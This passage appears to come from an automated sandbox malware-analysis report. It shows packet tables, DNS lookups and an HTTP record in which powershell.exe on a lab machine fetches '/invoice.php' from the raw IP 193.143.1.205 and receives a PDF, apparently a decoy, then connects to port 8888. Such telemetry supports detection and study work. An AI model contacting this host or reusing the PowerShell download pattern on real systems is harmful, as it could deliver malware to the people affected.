Jan 10, 2025 23:33:10.894154072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894155979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894176960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894212961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894244909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894401073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894452095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894464970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894485950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894515038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894525051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894536018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894546986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894548893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894571066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894632101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894643068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894654036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894665956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894665956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894678116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894689083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894714117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894747019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894757986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894768953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894779921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894788027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894792080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894803047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894814014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894819021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894831896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894839048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894862890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.895339966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911361933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911392927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911406040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911427975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911442041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911452055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911463976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911484957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911490917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.911498070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911509991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911520958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.911523104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911536932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911551952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911561966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.911566019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.911597967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.920074940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.920129061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.920164108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.920165062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.920201063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.920217037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.920237064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.920269966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.920278072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.920308113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.920347929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.944724083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944741964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944761992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944776058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944787979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944798946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944811106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944824934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944833994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.944844007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944855928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944868088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944874048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.944880009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944891930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944896936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.944904089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944910049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.944916010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944926977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944941998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944951057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.944966078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944977999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.944983959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.944989920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945000887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.945012093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945024014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945028067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.945036888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945075035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.945089102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945101023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945111036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945122957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945123911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.945136070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945147038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945148945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.945159912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.945178986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.945192099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.976736069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.981657028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981694937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981748104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981762886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.981782913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981828928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.981834888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981885910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981920004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981924057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.981954098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981988907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.981993914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982039928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982075930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982079029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982125998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982161045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982162952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982209921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982250929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982292891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982326031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982361078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982363939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982393980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982428074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982430935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982460022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982495070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982498884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982528925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982563019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982569933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982613087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982646942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982650995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982680082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982713938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982719898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982764006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982798100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982801914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982831001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982865095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982868910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982897997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982938051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.982938051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.982971907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983005047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983010054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983043909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983083010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983086109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983114958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983148098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983151913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983181000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983215094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983218908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983247995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983280897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983285904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983330965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983366013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983370066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983398914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983433008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983438015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983470917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983505011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983510971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983539104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983572960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983577967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983609915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983644009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983649969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983678102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983711004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983714104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983743906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983778000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983783960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983813047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983845949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983853102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983879089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983913898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983918905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.983946085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.983983994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002079010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002140999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002197027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002203941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002233028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002268076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002274036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002300978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002335072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002338886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002368927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002404928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002405882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002434015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002474070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002595901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002629995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002664089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002665043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002697945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002732038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002734900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.002765894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.002804995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.010993958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011006117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011015892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011029959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011042118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011065006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.011120081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.011149883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011161089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011173010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.011183977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.011213064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.036346912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036374092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036385059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036398888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036413908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036427021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036438942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036452055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.036478043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036484957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.036498070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036510944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036521912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.036524057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036537886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036566973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.036592007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.036623955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036636114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036650896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036663055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036669970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.036678076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:11.036696911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.084733009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.567516088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.573163033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:11.797321081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:12.155879974 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:12.585827112 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:12.585903883 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:12.589354992 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:12.594209909 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:13.370872974 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:13.412883043 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:14.530905008 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:33:19.948376894 CET	51712	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:33:19.948376894 CET	192.168.2.6	1.1.1.1	0x1936	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:33:19.956008911 CET	1.1.1.1	192.168.2.6	0x1936	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:33:20.869730949 CET	1.1.1.1	192.168.2.6	0x70e6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:33:20.869730949 CET	1.1.1.1	192.168.2.6	0x70e6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:34:25.832525969 CET	1.1.1.1	192.168.2.6	0xfafc	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:34:25.832525969 CET	1.1.1.1	192.168.2.6	0xfafc	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:34:49.399616957 CET	1.1.1.1	192.168.2.6	0x36fb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:34:49.399616957 CET	1.1.1.1	192.168.2.6	0x36fb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:35:13.493216991 CET	1.1.1.1	192.168.2.6	0x6875	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:35:13.493216991 CET	1.1.1.1	192.168.2.6	0x6875	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	6684	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:33:09.441521883 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:33:10.265743017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:33:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen 